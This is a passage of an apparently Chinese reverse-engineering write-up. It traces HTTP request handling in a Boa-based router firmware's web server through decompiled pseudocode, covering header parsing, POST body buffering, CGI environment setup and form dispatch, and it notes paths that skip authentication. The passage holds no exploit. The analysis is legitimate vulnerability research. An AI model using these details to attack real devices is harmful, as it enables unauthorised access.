        if ( n4 == 4 )
          return 1;
        if ( n4 == 11 )
          return -1;
        if ( n4 != 9 && n4 != 32 )
          return 0;
        *(_WORD *)(a1 + 8) = *(_WORD *)(a1 + 8) & 0xFC7F | 0x80;
        return 0;
      }
      if ( !v7 )
        return 0;
      *(_DWORD *)(a1 + 44) += v7;
    }
    v10 = v5;
    v11 = 0;
    while ( 1 )
    {
      v12 = &v5[v3];
      v13 = *(_DWORD *)(a1 + 8);
      if ( v10 >= &v5[v3] )
        break;
      n2 = v13 >> 27;
      n2_2 = 1;
      n13_1 = n2 < 2;
      if ( n2 == 1 )
      {
        v22 = *(_WORD *)(a1 + 8);
        if ( *v10 == 10 )
        {
          n2_1 = 2;
          goto LABEL_46;
        }
        goto LABEL_40;
      }
      if ( n2 >= 2 )
      {
        if ( n2 == 2 )
        {
          n13 = (char)*v10;
          if ( n13 == 13 )
          {
            v22 = *(_WORD *)(a1 + 8);
            n2_1 = 3;
            goto LABEL_46;
          }
          n10 = 10;
LABEL_44:
          v18 = n13 != n10;
          v22 = *(_WORD *)(a1 + 8);
          if ( !v18 )
          {
            n2_1 = 4;
LABEL_46:
            v24 = v22 & 0x7FF | ((n2_1 & 0x1F) << 11);
LABEL_47:
            *(_WORD *)(a1 + 8) = v24;
            goto LABEL_48;
          }
LABEL_40:
          v24 = v22 & 0x7FF;
          goto LABEL_47;
        }
        v18 = n2 != 3;
        n13 = 10;
        if ( !v18 )
        {
          n10 = (char)*v10;
          goto LABEL_44;
        }
      }
      else if ( !n2 )
      {
        n10_1 = (char)*v10;
        n13_1 = 13;
        if ( n10_1 == 13 )
        {
          v21 = *(_WORD *)(a1 + 8);
        }
        else
        {
          n2_2 = 2;
          if ( n10_1 != 10 )
          {
            if ( v10 == v5 + 4095 )
            {
              *(_WORD *)(a1 + 8) = *(_WORD *)(a1 + 8) & 0x7FF | 0x1000;
              *(_DWORD *)(a1 + 56) = v10;
              printf("%s:%d header end!\n", "read_header", 367);
            }
            goto LABEL_48;
          }
          v21 = *(_WORD *)(a1 + 8);
        }
        *(_WORD *)(a1 + 8) = v21 & 0x7FF | ((n2_2 & 0x1F) << 11);
        *(_DWORD *)(a1 + 56) = v10;
      }
LABEL_48:
      if ( v2 )
        DebugSaveWebReqInfo(a1, v10);
      n0x20000000 = *(_DWORD *)(a1 + 8) & 0xF8000000;
      ++v10;
      if ( n0x20000000 == 0x10000000 )
      {
        **(_BYTE **)(a1 + 56) = 0;
        if ( *(_DWORD *)(a1 + 40) )
        {
          v26 = process_option_line(a1, n13_1);
          v3 -= v26;
          v10 -= v26;
          if ( v26 )
            v11 = 1;
          *(_DWORD *)(a1 + 52) = v10;
        }
        else
        {
          if ( !process_logline(a1, n13_1) )
            return 0;
          if ( ((*(_DWORD *)(a1 + 8) >> 26) & 1) != 0 )
            return process_header_end(a1, n13_2);
          *(_DWORD *)(a1 + 52) = v10;
        }
        v2 = 0;
      }
      else
      {
        v2 = 0;
        if ( n0x20000000 == 0x20000000 )
        {
          v28 = process_header_end(a1, n13_1);
          *(_DWORD *)(a1 + 48) = &v10[-a1 - 1273];
          if ( !v28 )
            return 0;
          result = v28;
          if ( *(_DWORD *)(a1 + 36) == 4 )
          {
            v29 = *(_DWORD *)(a1 + 192);
            if ( v29 )
            {
              g_filesize = atoi(v29);
              *(_DWORD *)(a1 + 20) = g_filesize;
              ::g_filesize = g_filesize;
              if ( g_filesize >= 0x1300001 )
              {
                printf(
                  "%s:%d req->filesize: %d > MAX_UPLOAD_FILESIZE: %d... reboot\n\n",
                  "read_header",
                  450,
                  g_filesize,
                  19922944);
                cmd_reboot();
              }
              if ( *(_DWORD *)(a1 + 20) >= 0xF4241u )
                cmd_killproc(-393225);
              if ( !is_defined(21) )
              {
                printf("%s:%d drop vm cache...\n\n", "read_header", 466);
                system("sync;echo 3 > /proc/sys/vm/drop_caches");
              }
            }
            v31 = *(_DWORD *)(a1 + 244);
            *(_DWORD *)(a1 + 24) = v12 - v10;
            memcpy(v31, v10, v12 - v10);
            v32 = *(_DWORD *)(a1 + 24);
            v33 = *(_DWORD *)(a1 + 244);
            *(_DWORD *)(a1 + 52) = v33;
            *(_DWORD *)(a1 + 56) = v33 + v32;
            v18 = v32 < *(_DWORD *)(a1 + 20);
            result = v28;
            if ( !v18 )
              *(_DWORD *)(a1 + 144) = 2;
          }
          return result;
        }
      }
    }
    if ( (v13 & 0xF8000000) == 0 && request_type(a1) == -1 )
    {
LABEL_82:
      syslog(3, "malformed request: \"%s\"\n", *(const char **)(a1 + 40));
      send_r_bad_request(a1);
      return 0;
    }
    if ( v11 )
    {
      v3 = *(_DWORD *)(a1 + 48);
      continue;
    }
    break;
  }
  result = 1;
  if ( (*(_DWORD *)(a1 + 8) & 0xF8000000) == 0 )
  {
    n0x1000 = strlen(v5);
    if ( n0x1000 >= 0x1000 )
    {
      printf("%s:%d buffer overflow %d\n", "read_header", 507, n0x1000);
      syslog(3, "buffer overflow\n");
      ((void (__fastcall *)(int))send_r_entity_too_large)(a1);
      return 0;
    }
    if ( !*v5 )
      return 1;
    goto LABEL_82;
  }
  return result;
}

大致流程就是:

1
2
3
4
5
6
7
process_requests()
  → read_header()
      → read()
      → 解析 HTTP 头
      → process_header_end()
          → POST:进入 read_body()
          → GET:进入后续 GET 处理

跟进了process_header_end(int request_ready, int n13)函数:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
int __fastcall process_header_end(int request_ready, int n13)
{
  int request_ready_1; // $s0
  int result; // $v0
  int v4; // $v0
  BOOL v5; // $s2
  int v6; // $s3
  int n4; // $v0
  int v8; // $v0
  bool v9; // dc
  char _tmp_rtktmpXXXXXX_[144]; // [sp+18h] [-9Ch] BYREF

  request_ready_1 = request_ready;
  if ( !*(_DWORD *)(request_ready + 40) )
    goto LABEL_9;
  if ( *(_DWORD *)(request_ready + 200) )
    log_user_agent();
  result = translate_uri(request_ready_1, n13);
  if ( !result )
  {
    *(_WORD *)(request_ready_1 + 8) = *(_WORD *)(request_ready_1 + 8) & 0xFC7F | 0x80;
    return result;
  }
  if ( *(_DWORD *)(request_ready_1 + 236) == 1 )
  {
    v4 = mib_get(167, _tmp_rtktmpXXXXXX_);
    request_ready = request_ready_1;
    if ( v4 )
    {
      send_redirect_temp(request_ready_1, _tmp_rtktmpXXXXXX_);
      return 0;
    }
LABEL_9:
    send_r_error(request_ready);
    return 0;
  }
  v5 = 1;
  if ( strncmp(request_ready_1 + 248, "/goform/ate", 11) )
    v5 = strncmp(request_ready_1 + 248, "/goform/factory", 15) == 0;
  v6 = strstr(request_ready_1 + 248, "/multiUserLogin");
  if ( !strstr(request_ready_1 + 248, "/formMultiUserLogin") )
  {
    if ( v6 )
    {
      n4 = *(_DWORD *)(request_ready_1 + 36);
      goto LABEL_21;
    }
    if ( v5 )
    {
      n4 = *(_DWORD *)(request_ready_1 + 36);
      goto LABEL_21;
    }
    closelog();
    openlog("boa", 1, 80);
    if ( !auth_authorize(request_ready_1) )
    {
      openlog("boa", 1, 0);
      return 0;
    }
  }
  n4 = *(_DWORD *)(request_ready_1 + 36);
LABEL_21:
  if ( n4 == 4 )
  {
    strcpy(_tmp_rtktmpXXXXXX_, "/tmp/rtktmpXXXXXX");
    v8 = mkstemp64(_tmp_rtktmpXXXXXX_);
    *(_DWORD *)(request_ready_1 + 160) = v8;
    v9 = v8 == -1;
    result = 0;
    if ( !v9 )
    {
      *(_DWORD *)(request_ready_1 + 164) = strdup(_tmp_rtktmpXXXXXX_);
      return 1;
    }
  }
  else if ( *(_DWORD *)(request_ready_1 + 148) )
  {
    return init_get2(request_ready_1);
  }
  else
  {
    *(_WORD *)(request_ready_1 + 8) = *(_WORD *)(request_ready_1 + 8) & 0x7FF | 0x3000;
    return ((int (__fastcall *)(_DWORD))init_get)(request_ready_1);
  }
  return result;
}

到这里看到了有关登录的函数模块:

HTTP 请求头解析完成后,做 URI、认证和请求类型分流,并决定下一步处理状态。

1
2
3
4
5
6
read_header()
  → process_header_end()
      ├─ translate_uri()
      ├─ auth_authorize()
      ├─ POST → 创建临时文件 → read_body()
      └─ GET  → init_get/init_get2()

它是一个HTTP 请求头结束后的路由/预处理函数。所以说不是我们要集中分析的地方,那我跳走了,返回process_requests函数。

跟进到read_body函数:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
int __fastcall read_body(int a1)
{
  int v1; // $a1
  int v2; // $t8
  int v4; // $s1
  int v5; // $t8
  int v6; // $a0
  __int16 v7; // $t8
  int v8; // $v0

  v1 = *(_DWORD *)(a1 + 56);
  v2 = *(_DWORD *)(a1 + 20);
  v4 = *(_DWORD *)(a1 + 52) - v1 + 4096;
  if ( v2 )
  {
    v5 = v2 - *(_DWORD *)(a1 + 24);
    if ( v5 < v4 )
      v4 = v5;
  }
  if ( v4 > 0 )
  {
    v6 = *(_DWORD *)(a1 + 216);
    if ( v6 )
      v8 = SSL_read(v6, v1);
    else
      v8 = ((int (__fastcall *)(_DWORD, int))read)(*(_DWORD *)a1, v1);
    if ( v8 == -1 )
    {
      if ( *(_DWORD *)_errno_location() != 11 )
      {
        boa_perror(a1, "read body");
        return 0;
      }
      if ( *(_DWORD *)(a1 + 20) )
        return -1;
      v7 = *(_WORD *)(a1 + 8);
      goto LABEL_7;
    }
    if ( !v8 )
    {
      *(_WORD *)(a1 + 8) = *(_WORD *)(a1 + 8) & 0x7FF | 0x2800;
      *(_DWORD *)(a1 + 144) = 2;
    }
    *(_DWORD *)(a1 + 56) += v8;
    *(_DWORD *)(a1 + 24) += v8;
    if ( v8 != v4 )
      return 1;
  }
  v7 = *(_WORD *)(a1 + 8);
LABEL_7:
  *(_WORD *)(a1 + 8) = v7 & 0x7FF | 0x2800;
  return 1;
}

偏移:

1
2
3
4
v1  = *(a1+56);    // body缓冲区当前写入指针
v2  = *(a1+20);    // Content‑Length,POST体总字节数
v4  = *(a1+52) - v1 + 4096; // 缓冲区剩余可用空间
*(a1+24)           // 已经接收的body字节计数

大致逻辑:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
v4 = 缓冲区剩余空间;
if ( v2 ){
    v5 = v2 - *(a1+24); //还需要接收多少字节body
    if(v5 < v4)
        v4 = v5;        //取二者更小值:最多读v4字节
}

if ( v4 > 0 )
{
    // HTTPS用SSL_read,普通HTTP用read,读到body缓冲区v1位置
    if ( v6 )
        v8 = SSL_read(v6, v1);
    else
        v8 = read(*(a1), v1);

    if ( v8 == -1 )
    {
        // errno ==11 → EAGAIN,数据没就绪,返回‑1做IO阻塞
        if ( *(_DWORD *)_errno_location() != 11 )
        {
            boa_perror(a1, "read body");
            return 0;
        }
        if ( *(_DWORD *)(a1 + 20) )
            return -1;
        goto LABEL_7;
    }

    if ( !v8 ){
        // read返回0:客户端断开
        *(_WORD *)(a1 + 8) = *(_WORD *)(a1 + 8) & 0x7FF | 0x2800;
        *(_DWORD *)(a1 + 144) = 2;
    }

    // 更新指针、已接收计数
    *(a1 + 56) += v8;   // body写指针向后移动v8
    *(a1 + 24)  += v8;  // 累计收到的body字节+ v8

    if ( v8 != v4 )
        return 1; //本次没读完,返回1,下一轮继续读取body
}

// body全部接收完成
LABEL_7:
*(_WORD *)(a1 + 8) = v7 & 0x7FF | 0x2800; // 修改request状态标记:body接收完毕
return 1;

read_header() → 解析HTTP头,拿到Content‑Length;

→ request状态置state=4;

→ process_requests 调用 read_body() 循环接收POST body;

→ body全部接收完成,设置状态标记0x2800;

→ 下一轮状态机会跳到 state=5 → write_body(),正式解析 POST 表单参数并分发业务处理。

就到了case5了:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
int __fastcall write_body(int a1)
{
  int v1; // $s2
  int v2; // $a1
  int v3; // $s1
  int v5; // $t8
  int n2; // $v0
  _DWORD *v8; // $v0
  int v9; // $t8
  int v10; // $v0

  v2 = *(_DWORD *)(a1 + 52);
  v3 = *(_DWORD *)(a1 + 56) - v2;
  if ( *(_DWORD *)(a1 + 56) == v2 )
  {
    v5 = *(_DWORD *)(a1 + 244);
    n2 = *(_DWORD *)(a1 + 144);
    *(_DWORD *)(a1 + 56) = v5;
    *(_DWORD *)(a1 + 52) = v5;
    if ( n2 == 2 || *(_DWORD *)(a1 + 24) >= *(_DWORD *)(a1 + 20) )
      return init_form();
    *(_WORD *)(a1 + 8) = *(_WORD *)(a1 + 8) & 0x7FF | 0x2000;
    return 1;
  }
  if ( (unsigned int)g_max_upload_size < *(_DWORD *)(a1 + 24) || (v1 = write(*(_DWORD *)(a1 + 160), v2, v3), v1 != -1) )
  {
    v10 = *(_DWORD *)(a1 + 52);
    if ( (unsigned int)g_max_upload_size < *(_DWORD *)(a1 + 24) )
      *(_DWORD *)(a1 + 52) = v10 + v3;
    else
      *(_DWORD *)(a1 + 52) = v10 + v1;
    return 1;
  }
  v8 = (_DWORD *)_errno_location();
  v9 = -2;
  if ( *v8 == 11 )
    return -1;
  return v9;
}

只需关注它如何把 POST body 交给表单处理。

开头:

1
2
  v2 = *(_DWORD *)(a1 + 52);
  v3 = *(_DWORD *)(a1 + 56) - v2;

a1 = request 结构体

a1 + 52 = 当前写入起点

a1 + 56 = 当前数据末端

v2 = 本次待写数据地址

v3 = 本次待写数据长度

这里其实挺明显的能知道它是数据的,你就看a1 + 52和a1 + 52,这俩相减就是4,也就是4字节,恰好对应了程序是32位mips架构,那64位就是8字节单位。

对于判断分支1语句:

1
if (*(DWORD *)(a1 + 56) == *(DWORD *)(a1 + 52))

两者相等,说明当前缓冲区没有待写数据。

进入该分支后,看它是否:

  • 检查已接收长度;
  • 改变请求状态;
  • 调用下一函数;
  • 返回值是什么。

对于判断分支2语句:

1
if ( (unsigned int)g_max_upload_size < *(_DWORD *)(a1 + 24) || (v1 = write(*(_DWORD *)(a1 + 160), v2, v3), v1 != -1) )
  • a1 + 160 = 前面创建的临时文件描述符;
  • v2 = POST body 数据;
  • v3 = 当前写入长度。

然后观察 a1 + 52 如何更新:

1
*(DWORD *)(a1 + 52) += 写入长度

这说明每次调用只把当前缓冲区中的 POST 数据写入临时文件,并推进写指针。

还有最后一个判断分支语句,不多详细解释了,顺着返回值分析,write_body()函数有三类结果:

  1. 返回 1 → 请求继续保留,状态机下一轮继续
  2. 返回 -1 → 暂时阻塞,等待 socket/资源再次可用
  3. 返回 -2/其它 → 写入错误,进入错误处理

对于返回 1:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
  if ( *(_DWORD *)(a1 + 56) == v2 )
  {
    v5 = *(_DWORD *)(a1 + 244);
    n2 = *(_DWORD *)(a1 + 144);
    *(_DWORD *)(a1 + 56) = v5;
    *(_DWORD *)(a1 + 52) = v5;
    if ( n2 == 2 || *(_DWORD *)(a1 + 24) >= *(_DWORD *)(a1 + 20) )
      return init_form();
    *(_WORD *)(a1 + 8) = *(_WORD *)(a1 + 8) & 0x7FF | 0x2000;
    return 1;
  }

它有两条路径:

  • body 未完成 → 更新写指针 → return 1;
  • body 已完成 → 状态改变或调用后续处理 → 看实际 return。

正常都是走分支1的程序的,分支1最后走return init_form();

跟进init_form:

init_form(int a1)函数

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
int __fastcall init_form(int a1)
{
  int v2; // $a1
  _BYTE v4[160]; // [sp+20h] [-A0h] BYREF

  *(_WORD *)(a1 + 8) = *(_WORD *)(a1 + 8) & 0xFC7F | 0x80;
  complete_env();
  fstat64(*(_DWORD *)(a1 + 160), v4);
  if ( *(_DWORD *)(a1 + 36) == 4 )
    lseek64(*(_DWORD *)(a1 + 160), v2, 0, 0, 2);
  *(_WORD *)(a1 + 8) = *(_WORD *)(a1 + 8) & 0x7FF | 0x4800;
  handleForm(a1);
  return 1;
}

它的作用是:

  1. 标记当前请求进入表单处理阶段;
  2. 完成 CGI 环境变量准备:

complete_env()函数:

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
int __fastcall complete_env(int a1)
{
 int v2; // $t8
 int v3; // $v0
 int default_type; // $a1
 int v5; // $a1
 int v6; // $t8
 int v7; // $s1
 int v8; // $t8
 int v9; // $s1
 int v10; // $a1
 int v11; // $a1
 int v12; // $t8
 int v13; // $s1
 int v14; // $v0
 int *v15; // $s1
 int v16; // $t8
 int v17; // $s1
 int v18; // $a1
 int v19; // $a1
 int v20; // $t8
 int v21; // $s1
 int v22; // $a1
 int v23; // $t8
 int v24; // $s1
 int v25; // $a1
 int v26; // $t8
 int v27; // $s1
 int v28; // $t8
 int v29; // $s1
 int v30; // $v0
 int *v31; // $s1
 int v32; // $t8
 int v33; // $s1
 int v34; // $a0
 int v35; // $v0
 _DWORD *v36; // $s1
 int v37; // $a1
 int v38; // $t8
 int v39; // $s1
 int v40; // $a1
 int v41; // $t8
 int v42; // $s1
 int v43; // $t8
 int v44; // $s1
 int result; // $v0

 if ( *(_DWORD *)(a1 + 36) == 4 )
 {
   v2 = *(_DWORD *)(a1 + 156);
   v3 = *(_DWORD *)(a1 + 152);
   default_type = *(_DWORD *)(a1 + 188);
   *(_DWORD *)(a1 + 156) = v2 + 1;
   if ( !default_type )
     default_type = ::default_type;
   *(_DWORD *)(v3 + 4 * v2) = env_gen_extra("CONTENT_TYPE", default_type, 0);
   v5 = *(_DWORD *)(a1 + 192);
   if ( v5 )
   {
     v6 = *(_DWORD *)(a1 + 156);
     v7 = *(_DWORD *)(a1 + 152);
     *(_DWORD *)(a1 + 156) = v6 + 1;
     *(_DWORD *)(v7 + 4 * v6) = env_gen_extra("CONTENT_LENGTH", v5, 0);
   }
 }
 v8 = *(_DWORD *)(a1 + 156);
 v9 = *(_DWORD *)(a1 + 152);
 v10 = *(_DWORD *)(a1 + 68);
 *(_DWORD *)(a1 + 156) = v8 + 1;
 *(_DWORD *)(v9 + 4 * v8) = env_gen_extra("SERVER_PROTOCOL", v10, 0);
 v11 = *(_DWORD *)(a1 + 168);
 if ( v11 )
 {
   v12 = *(_DWORD *)(a1 + 156);
   v13 = *(_DWORD *)(a1 + 152);
   *(_DWORD *)(a1 + 156) = v12 + 1;
   v15 = (int *)(v13 + 4 * v12);
   v14 = env_gen_extra("PATH_INFO", v11, 0);
   v16 = *(_DWORD *)(a1 + 156);
   *v15 = v14;
   v17 = *(_DWORD *)(a1 + 152);
   v18 = *(_DWORD *)(a1 + 172);
   *(_DWORD *)(a1 + 156) = v16 + 1;
   *(_DWORD *)(v17 + 4 * v16) = env_gen_extra("PATH_TRANSLATED", v18, 0);
 }
 v19 = *(_DWORD *)(a1 + 176);
 if ( v19 )
 {
   v20 = *(_DWORD *)(a1 + 156);
   v21 = *(_DWORD *)(a1 + 152);
   *(_DWORD *)(a1 + 156) = v20 + 1;
   *(_DWORD *)(v21 + 4 * v20) = env_gen_extra("SCRIPT_NAME", v19, 0);
 }
 v22 = *(_DWORD *)(a1 + 180);
 if ( v22 )
 {
   v23 = *(_DWORD *)(a1 + 156);
   v24 = *(_DWORD *)(a1 + 152);
   *(_DWORD *)(a1 + 156) = v23 + 1;
   *(_DWORD *)(v24 + 4 * v23) = env_gen_extra("QUERY_STRING", v22, 0);
 }
 v25 = *(_DWORD *)(a1 + 184);
 if ( v25 )
 {
   v26 = *(_DWORD *)(a1 + 156);
   v27 = *(_DWORD *)(a1 + 152);
   *(_DWORD *)(a1 + 156) = v26 + 1;
   *(_DWORD *)(v27 + 4 * v26) = env_gen_extra("HTTP_COOKIE", v25, 0);
   *(_DWORD *)(a1 + 184) = 0;
 }
 v28 = *(_DWORD *)(a1 + 156);
 v29 = *(_DWORD *)(a1 + 152);
 *(_DWORD *)(a1 + 156) = v28 + 1;
 v31 = (int *)(v29 + 4 * v28);
 v30 = env_gen_extra("REMOTE_ADDR", a1 + 80, 0);
 v32 = *(_DWORD *)(a1 + 156);
 *v31 = v30;
 v33 = *(_DWORD *)(a1 + 152);
 v34 = *(_DWORD *)(a1 + 132);
 *(_DWORD *)(a1 + 156) = v32 + 1;
 v36 = (_DWORD *)(v33 + 4 * v32);
 v35 = simple_itoa(v34);
 *v36 = env_gen_extra("REMOTE_PORT", v35, 0);
 v37 = *(_DWORD *)(a1 + 200);
 if ( v37 )
 {
   v38 = *(_DWORD *)(a1 + 156);
   v39 = *(_DWORD *)(a1 + 152);
   *(_DWORD *)(a1 + 156) = v38 + 1;
   *(_DWORD *)(v39 + 4 * v38) = env_gen_extra("HTTP_USER_AGENT", v37, 0);
 }
 v40 = *(_DWORD *)(a1 + 196);
 if ( v40 )
 {
   v41 = *(_DWORD *)(a1 + 156);
   v42 = *(_DWORD *)(a1 + 152);
   *(_DWORD *)(a1 + 156) = v41 + 1;
   *(_DWORD *)(v42 + 4 * v41) = env_gen_extra("HTTP_REFERER", v40, 0);
 }
 v43 = *(_DWORD *)(a1 + 156);
 if ( *(_BYTE *)(a1 + 220) )
 {
   v44 = *(_DWORD *)(a1 + 152);
   *(_DWORD *)(a1 + 156) = v43 + 1;
   *(_DWORD *)(v44 + 4 * v43) = env_gen_extra("REMOTE_USER", a1 + 220, 0);
   v43 = *(_DWORD *)(a1 + 156);
 }
 result = *(_DWORD *)(a1 + 152);
 *(_DWORD *)(result + 4 * v43) = 0;
 return result;
}

为 CGI/form 子程序组装环境变量数组,供后续表单处理使用。

当前数据流:POST 请求头/body

→ request 结构体字段

→ complete_env()

→ 构造 CGI 环境变量

→ handleForm()

它下一步还是会回到 init_form(),进入它的直接调用,所以说它不是解析 POST 参数,这里我们可以跳过的。

接下来这几步的作用:

  1. fstat64():获取临时文件信息;
  2. lseek64(..., 2):POST 请求下调整临时文件位置;
  3. 修改 request 状态;
  4. 直接调用 handleForm(a1)

当前链路变成:read_header()

→ read_body()

→ write_body()

→ init_form()

handleForm()

handleForm()

然后跟进handleForm()函数:

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
int __fastcall handleForm(int a1)
{
  int v1; // $s2
  int v3; // $s6
  const char *_boaform_admin; // $a0
  int v5; // $a0
  int v7; // $s6
  int root_form; // $s2
  int v9; // $s3
  int v10; // $s4
  int v11; // $s1
  int v12; // $a1
  _BYTE *v13; // $a2
  int n13; // $t8
  _BYTE *v15; // $s3
  int Var; // $v0
  int v17; // $v0
  char *v18; // $fp
  char *v19; // $s7
  int v20; // $t8
  char *v21; // $a0
  unsigned int v22; // $v1
  int v23; // $v0
  char *v24; // $a3
  bool v25; // dc
  int v26; // $v0
  unsigned int v27; // $t8
  int v28; // $a2
  int v29; // $t0
  int v30; // $v0
  _BYTE *v31; // $v1
  int n68; // $t1
  int n65; // $t0
  int n37; // $s7
  char *v35; // $a1
  unsigned int n6; // $v0
  char *v37; // $a1
  char *v38; // $v0
  char *v39; // $v0
  int v40; // $s3
  int i; // $s1
  char v42[60]; // [sp+20h] [-B8h] BYREF
  int v43; // [sp+5Ch] [-7Ch]
  int v44; // [sp+C0h] [-18h]
  int v45; // [sp+C4h] [-14h]
  _BYTE *v46; // [sp+C8h] [-10h]
  char *v47; // [sp+CCh] [-Ch]
  int n68_1; // [sp+D0h] [-8h]
  int n65_1; // [sp+D4h] [-4h]

  v1 = a1 + 248;
  v3 = strstr(a1 + 248, "/boaform/admin/");
  _boaform_admin = "/boaform/admin/";
  if ( !v3 )
  {
    v3 = strstr(v1, "/boaform/");
    _boaform_admin = "/boaform/";
    if ( !v3 )
    {
      v5 = a1;
      return ((int (__fastcall *)(int))send_r_not_found)(v5);
    }
  }
  v7 = v3 + strlen(_boaform_admin);
  root_form = ::root_form;
  if ( *(_DWORD *)(a1 + 36) == 4 )
  {
    fstat64(*(_DWORD *)(a1 + 160), v42);
    v9 = v43;
    v10 = v43 + 1;
    v11 = malloc(v43 + 1);
    if ( !v11 )
      return send_r_bad_request(a1);
    lseek64(*(_DWORD *)(a1 + 160), v12, 0, 0, 0);
    read(*(_DWORD *)(a1 + 160), v11, v9);
    v13 = (_BYTE *)(v11 + v9 - 1);
    *(_BYTE *)(v11 + v9) = 0;
    while ( (int)&v13[-v11] > 0 )
    {
      n13 = (char)*v13;
      if ( n13 == 10 )
      {
        *v13 = 0;
      }
      else
      {
        if ( n13 != 13 )
          break;
        *v13 = 0;
      }
      --v13;
    }
    v15 = (_BYTE *)strstr(v11, "postSecurityFlag");
    if ( v15 )
    {
      Var = boaGetVar(a1, "postSecurityFlag", "");
      v18 = (char *)v11;
      v17 = strtoul(Var, 0, 10);
      *v15 = 0;
      v44 = v17;
      v19 = 0;
      v20 = strlen(v11);
LABEL_16:
      v21 = v18;
      v22 = 0;
      v23 = 0;
      while ( 1 )
      {
        if ( v23 >= v20 )
          goto LABEL_24;
        if ( v23 + 3 >= v20 )
          break;
        v23 += 4;
        v28 = (*v21 << 24) + (v21[1] << 16);
        v29 = v21[2];
        v21 += 4;
        v22 += v28 + (v29 << 8) + *(v21 - 1);
      }
      v24 = &v18[v23];
      v22 += v18[v23] << 24;
      v25 = v23 + 1 >= v20;
      v26 = v23 + 2;
      if ( !v25 )
        v22 += v24[1] << 16;
      v25 = v26 >= v20;
      v27 = HIWORD(v22);
      if ( !v25 )
      {
        v22 += v24[2] << 8;
LABEL_24:
        v27 = HIWORD(v22);
      }
      if ( v44 != (unsigned __int16)~(v22 + v27) )
      {
        if ( v19 )
        {
          free(v11);
          free(v19);
        }
        else
        {
          v30 = malloc(v10);
          v18 = (char *)v30;
          if ( v30 )
          {
            memset(v30, 0, v10);
            v31 = (_BYTE *)v11;
            v20 = 0;
            n68 = 68;
            n65 = 65;
            while ( 1 )
            {
              while ( 1 )
              {
                n37 = (char)*v31;
                if ( !*v31 )
                {
                  v19 = v18;
                  goto LABEL_16;
                }
                v35 = &v18[v20];
                if ( n37 != 37 )
                  break;
                v46 = v31;
                v47 = &v18[v20];
                n65_1 = n65;
                n68_1 = n68;
                v45 = v20;
                n6 = strlen(v31);
                v31 = v46;
                v37 = v47;
                n65 = n65_1;
                n68 = n68_1;
                v20 = v45;
                if ( n6 < 6 )
                {
                  *v47 = 37;
LABEL_48:
                  ++v31;
                  ++v20;
                }
                else
                {
                  if ( v46[1] != 48 )
                  {
                    *v47 = 37;
                    goto LABEL_48;
                  }
                  if ( (char)v46[2] != n68_1 )
                  {
                    *v47 = 37;
                    goto LABEL_48;
                  }
                  if ( v46[3] != 37 )
                  {
                    *v47 = 37;
                    goto LABEL_48;
                  }
                  if ( v46[4] != 48 )
                  {
                    *v47 = 37;
                    goto LABEL_48;
                  }
                  if ( (char)v46[5] != n65_1 )
                  {
                    *v47 = 37;
                    goto LABEL_48;
                  }
                  v38 = &v18[v45 + 2];
                  *v47 = 37;
                  v37[1] = 48;
                  v20 += 3;
                  *v38 = n65;
                  v31 += 6;
                }
              }
              if ( n37 != 64 )
              {
                *v35 = n37;
                goto LABEL_48;
              }
              v35[1] = 52;
              v39 = &v18[v20 + 2];
              *v35 = 37;
              v20 += 3;
              *v39 = 48;
              ++v31;
            }
          }
        }
        return send_r_bad_request(a1);
      }
    }
    else
    {
      v19 = 0;
    }
    free(v11);
    if ( v19 )
      free(v19);
  }
  v40 = strlen(v7);
  for ( i = *(_DWORD *)root_form; v40 != strlen(i) || memcmp(v7, i, v40); i = *(_DWORD *)root_form )
  {
